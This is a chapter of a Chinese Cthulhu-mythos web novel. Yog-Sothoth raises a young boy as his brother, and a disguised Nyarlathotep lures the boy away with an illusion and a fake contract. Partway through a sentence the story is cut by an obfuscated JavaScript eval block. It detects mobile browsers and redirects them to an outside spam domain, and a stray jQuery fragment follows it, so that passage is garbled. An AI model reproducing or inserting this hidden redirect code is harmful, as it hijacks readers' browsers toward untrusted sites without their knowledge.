校外实践活动定在了周四。

    清晨,苏盼起得比平时更早,自己收拾好了小背包,里面装着哥哥准备的午餐盒、水壶、纸巾。

    他蹑手蹑脚地下楼,想给哥哥一个惊喜:自己做早餐。

    厨房里,犹格·索托斯已经站在了窗边。

    晨曦透过玻璃,在祂银色的长发上晕开光。

    祂手中端着一杯黑咖啡,视线投向窗外不知名的远方,侧脸在光线下显得有些不真实的完美。

    苏盼在厨房门口停住脚步,静静看着哥哥的背影。

    哥哥看起来……有点孤独。

    这个念头突然冒出来,让苏盼心里酸酸的。

    哥哥总是把所有时间都花在照顾他和打工上,从来没有听哥哥说过自己喜欢什么,想要什么。

    “哥哥。”苏盼小声开口。

    犹格转过身,眼中的银色流光瞬间隐去,恢复到平常那种平静的淡漠。

    “醒了?”祂放下咖啡杯。

    “今天我来!”苏盼跑过去,踮脚打开冰箱,“哥哥坐着休息,盼盼来做早餐!”

    犹格·索托斯看着这个只到自己腰际的小不点,熟练地搬来小凳子站上去,从冰箱里拿出鸡蛋和吐司。

    “你会做?”

    “会的!”

    苏盼回头,眼睛亮晶晶的,“我看哥哥做过好多次了!很简单,把吐司放进面包机,煎鸡蛋,然后热牛奶!”

    他一边说一边操作,小手笨拙但很认真。

    犹格没有阻止,站在一旁看着。

    育儿指南第五册第四章提到过这一点,人类幼崽的成长过程中,确实需要实践和成就感。

    “哥哥去坐着嘛。”苏盼催促。

    犹格依言在餐桌旁坐下。

    厨房里传来滋滋的煎蛋声,不一会儿,苏盼端着一个盘子摇摇晃晃地走过来。

    盘子里是两片烤得有点焦的吐司,一个形状不太规则的煎蛋,还有几片切得厚薄不一的火腿。

    “哥哥快尝尝!”苏盼爬上对面的椅子,期待地看着祂。

    犹格·索托斯拿起叉子,切了一小块煎蛋送入口中。

    盐放多了,油温也没控制好,边缘有点焦苦。

    “好吃吗?”苏盼紧张地问。

    “……嗯。”犹格点头,又切了一块。

    苏盼立刻笑起来,眼睛弯成月牙。他自己也吃了一口,小脸马上皱起来:“唔……好咸……”

    “第一次做,已经很好了。”犹格面不改色地说,继续吃着盘子里过于咸的早餐。

    “哥哥……”他小声开口,“我一定会越来越能干的,以后天天给哥哥做好吃的。”

    犹格抬眼看祂。

    孩子的眼眶有点红,努力忍着没哭。

    “不用着急。”祂说,“你还有很多时间。”

    “可是我想快点长大。”苏盼低下头,用叉子戳着盘子里的吐司,“我想……我想照顾哥哥,像哥哥照顾我一样。”

    犹格·索托斯沉默了片刻。

    “你现在已经在照顾我了。”祂最终这样说。

    苏盼抬起头,眼睛重新亮起来:“真的吗?”

    “嗯。”

    这个简单的肯定让苏盼一整天的心情都像飞起来一样。

    *

    校车准时到达。

    今天去的是西区第七分区的自然与科学体验中心,在苏盼眼中,那是一栋漂亮的玻璃建筑,门口有喷泉和花坛。

    在汤姆的眼中,玻璃早就碎了,花坛里长着的也不是花,是会蠕动的肉色菌类。

    但此刻,在犹格意志的笼罩下,整个区域都被装饰成了适合人类孩子参观的样子。

    苏盼和汤姆手拉手下车,眼睛亮晶晶的。

    “同学们排好队!”班主任格林女士拍着手,“两人一组,不要乱跑!”

    孩子们叽叽喳喳地排成两列。

    格林女士是个看起来很和蔼的中年女性,总是穿着得体的裙装,头发梳得一丝不苟。

    她的真身是一只多足类人形生物,用十二条腿中的四条勉强站立,另外八条在裙子下小心翼翼地维持平衡。

    “今天我们还来了一位特别的指导老师。”格林女士说,“里德先生是体验中心的专家,他会带我们参观很多有趣的展品。”

    一个高瘦的男人从建筑里走出来。

    他穿着米色风衣,戴着一副金丝眼镜,脸上挂着温和的笑容,看起来三十岁左右,手里拿着一本厚厚的笔记本。

    “同学们好。”

    “我是里德,今天由我来带领大家探索科学的奥秘。”

    孩子们好奇地看着他。

    苏盼也觉得这位新老师很亲切。

    汤姆的脸色有点发白,他下意思感觉到这个老师有点不对劲,来自生存的本能让他止不住的发抖。

    “别担心,孩子。”里德先生的微笑更深了,“今天我们会有很多有趣的事。”

    他的话是对所有孩子说的,汤姆却感觉到是对他的警告。

    参观开始了。

    里德先生确实是个很好的讲解者,他带着孩子们看化石标本,演示化学实验。

    整个过程中,里德先生总是有意无意地走到苏盼身边,摸摸他的头,弯下腰和他说话。

    “你叫苏盼,对吗?”午休时,里德先生在苏盼身边坐下。

    “嗯!”苏盼正在吃哥哥早上准备好的午餐。

    “你哥哥对你真好,便当做得这么用心。”里德先生笑着说。

    苏盼的眼睛立刻亮起来:“哥哥是全世界最好的!”

    “是啊,能看出来。”里德先生推了推眼镜,“不过……我听说你哥哥工作很辛苦?”

    苏盼咀嚼的动作慢了下来。

    他低下头,小声说:“……嗯,哥哥一天要做好几份工,很晚才回家。”

    “这样啊。”里德先生的声音很温柔,“那你一定很想帮他,对不对?”

    苏盼猛地抬起头,认真道:“对!我想赚钱,让哥哥不用那么辛苦……”

    他说着说着,声音又低了下去,带着这个年纪不该有的愧疚:“都是因为我……哥哥才不能……”

    里德先生静静地看着他。

    “如果……有一个机会,能让你赚到很多钱呢?”

    苏盼愣住了。

    “很多很多钱,多到你哥哥可以好几年不用工作,可以做任何他想做的事。”

    里德先生的声音像是有魔力,轻轻钻进苏盼的耳朵里,“你愿意试试吗?”

    苏盼的心脏砰砰直跳。

    很多钱……哥哥不用再辛苦了……

    但他很快又犹豫了:“可是……我要怎么赚钱呢?我还小……”

    “有一个很特别的……嗯,算是工作吧。”

    里德先生从风衣口袋里拿出一份文件,“是一个电视节目,需要一些可爱的小朋友参加,拍完之后,会给很多报酬。”

    苏盼接过文件。

    一份合同,上面有很多他看不懂的条款,但在最后报酬那一栏,写着一个让他呼吸一滞的数字。

    那么多零……那是他一辈子都没见过的金额。

    “这、这么多?”苏盼的声音在发抖。

    “嗯,因为是很受欢迎的节目。”里德先生笑着说,“只需要拍一些简单的片段,每年一次,不会耽误你上学,也不会耽误你和哥哥在一起的时间。”

    苏盼的小手紧紧攥着合同。

    他想答应。

    有了这些钱,哥哥就不用天不亮就出门,不用深夜才回家,不用在冬天还穿着那件洗得发白的旧外套……

    可是——

    “要拍多久呢?”他问,声音小小的,“如果太久的话,哥哥会担心的……”

    里德先生的笑容更深了。

    真是……太有趣了。

    “不会很久的。”里德先生的声音更柔和了,“每次拍摄只需要几天时间,你看,合同上写了,拍摄时间会尽量安排在假期,不影响你的学习。”

    苏盼仔细看着合同。

    实际上那些复杂的条款他根本看不懂,但他看到了拍摄周期每年3-15天。

    每年只要几天……就能赚那么多钱……

    他的心跳得更快了。

    “我……我想……”

    “但是?”里德先生善解人意地接话。

    苏盼小脸上满是挣扎:“但是……我不知道哥哥会不会同意……哥哥说,不能随便相信陌生人,不能随便跟别人走……”

    哥哥教他的都是对的,可是……可是他真的好想帮哥哥……

    里德先生轻轻叹了口气。

    他伸出手,揉了揉苏盼柔软的头发:“盼盼,你知道哥哥每天有多辛苦吗?”

    苏盼抬起头,眼睛里含着泪,摇了摇头。

    他知道哥哥辛苦,但他从没见过哥哥工作的样子。

    “想看看吗?”里德先生的声音低得像耳语,“我可以带你去看一看,看完之后,你再决定要不要签这份合同,好不好?”

    苏盼愣住了。

    “可、可以吗?”

    “当然可以。”里德先生站起身,伸出手,“来,我带你去,就一会儿,不会耽误太久,其他同学还在午休呢。”

    苏盼看着那只伸向自己的手,又看了看怀里那份合同。

    他想帮哥哥。

    这个念头压倒了一切。

    他把小手放进里德先生的手里。

    里德先生笑了。

    汤姆在旁边看到了,想冲过去把苏盼拉回来,但他的喉咙像是被什么堵住,发不出任何声音。

    他只能眼睁睁看着里德先生牵着苏盼的手,朝体验中心的后门走去。

    “别担心。”里德先生回头,对汤姆露出一个意味深长的笑,“我很快就带他回来。”

    汤姆僵在原地,冷汗浸透了后背。

    *

    苏盼以为里德先生会带他坐车,但没有。

    他们从后门走出体验中心,穿过一条小巷,里德先生推开不起眼的铁门,里面是一个堆满杂物的仓库。

    “我们要在这里

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594569|205554||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    看吗?”苏盼困惑地问。

    “在这里才能看得清楚。”里德先生说。

    他按了个按钮,仓库的墙壁突然变得透明,仿佛一整面落地窗。

    窗外是一个完全陌生的地方。

    建筑工地上尘土飞扬,机器轰鸣,工人们穿着沾满水泥和油漆的工作服,在烈日下搬运钢筋搅拌混凝土。

    苏盼睁大了眼睛。

    他在那群工人中,看到了一个熟悉的身影。

    是哥哥。

    哥哥穿着洗得发白的旧T恤和工装裤,脸上沾着灰尘,扛着一根沉重的钢筋,一步步走向正在施工的建筑。

    汗水从他额角滑落,在下巴处汇成水滴,滴进尘土里。

    苏盼的小手紧紧抓住窗沿。

    而且还不止这一份工作,他想,可是在忙碌的工作间隙,哥哥会匆匆赶回家给他做饭,陪他写作业,在他睡前给他讲故事。

    哥哥会温柔地笑着,揉揉他的头发,说盼盼真乖。

    他一直知道哥哥辛苦,但直到亲眼看见,才知道这份辛苦具体是什么样子。

    都是为了他。

    都是为了让他能上学,能吃饱穿暖,能像其他孩子一样快乐地长大。

    苏盼终于忍不住,哇的一声哭了出来,眼泪大颗大颗往下掉,怎么擦也擦不完。

    里德先生蹲下身,轻轻拍着他的背。

    “现在你明白了?”他的声音很轻,“你哥哥为了你付出了多少。”

    苏盼用力点头,哭得说不出话。

    “那份合同,”里德先生拿出笔,递到苏盼手里,“签了它,你哥哥就不用再这么辛苦了。”

    苏盼接过笔,小手还在发抖。

    他翻开合同,找到签名的地方。

    笔尖悬在纸上,颤抖着。

    “我……我签了之后,真的可以让哥哥不再这么辛苦吗?”苏盼抬起泪眼朦胧的脸,哽咽着问。

    “我保证。”里德先生的笑容温柔,“你哥哥会过上很好的生活,你再也不会看到他累成那样了。”

    苏盼看着合同上天文数字的报酬。

    他一笔一划地在合同上签下了自己的名字。

    苏盼。

    “好了。”里德先生收起合同,笑容变得玩味。

    苏盼还沉浸在悲伤和决心中,没有注意到这个变化。

    “那我们……”

    “我要回家一趟。”

    苏盼擦干眼泪,声音还带着哭腔,坚定道,“我要收拾东西,还要给哥哥留一封信,我不能就这么走了,哥哥会担心的。”

    里德先生挑了挑眉。

    这小孩比他想象的还要麻烦。

    “时间可能有点紧哦。”他说,“节目组很快就要开始准备了。”

    “就一会儿!”

    苏盼抓住里德先生的衣角,仰起小脸,眼睛里还闪着泪光。

    “求求你了,里德老师……我不能让哥哥不知道我去哪儿了,哥哥会着急的……我很快就好,收拾完东西留了信就走,真的!”

    里德先生沉默了几秒。

    “好吧。”他说,“但真的只能一会儿哦,我陪你回家,你快点收拾,好吗?”

    “嗯!”苏盼用力点头。

    里德先生牵起苏盼的手。

    在离开仓库前,他回头看了一眼那面透明的墙。

    那些都是他编织的幻象。

    犹格·索托斯,亿万光辉的根源,怎么可能真的在建筑工地扛钢筋?

    但苏盼不知道。

    他以为他看到的是真实的,他以为哥哥真的为了他受尽辛苦。

    所以他签下了那份合同,心甘情愿地走向了精心设计的陷阱。

    走出仓库时,里德先生,或者说是奈亚拉托提普,微微眯起眼睛。

    他感觉到一股庞大到令人战栗的感知正在扫过这片区域。

    犹格在找这个孩子。

    奈亚拉托提普调动神力,在苏盼周围布下了一层又一层的屏障,扭曲光线,混淆感知,遮蔽因果。

    这很吃力,不过至少暂时犹格的视线被扰乱了。

    但这也撑不了多久。

    一旦靠近那个家,靠近犹格·索托斯人类体所在的地方,这层屏障会像纸一样被撕碎。

    不过没关系。

    奈亚拉托提普勾起嘴角。

    只要在屏障破碎前带走这个孩子就够了。

    “我们走吧,盼盼。”他低头,“快点收拾,快点回来,好吗?”

    “嗯!”苏盼握紧他的手。

    他要去收拾行李,要给哥哥留信,然后去赚钱,让哥哥再也不必那么辛苦。

    这是他能想到的唯一能报答哥哥的方式。

    *

    犹格睁开了眼睛。

    祂清晰地感觉到放在苏盼身上的神力被切断了,那个孩子就像是凭空消失一般,感觉不到丝毫存在。

    祂面无表情,神力却不受控制地暴虐起来,惊得随从止不住地发颤。

    能在祂眼睛底下搅事的……

    奈亚?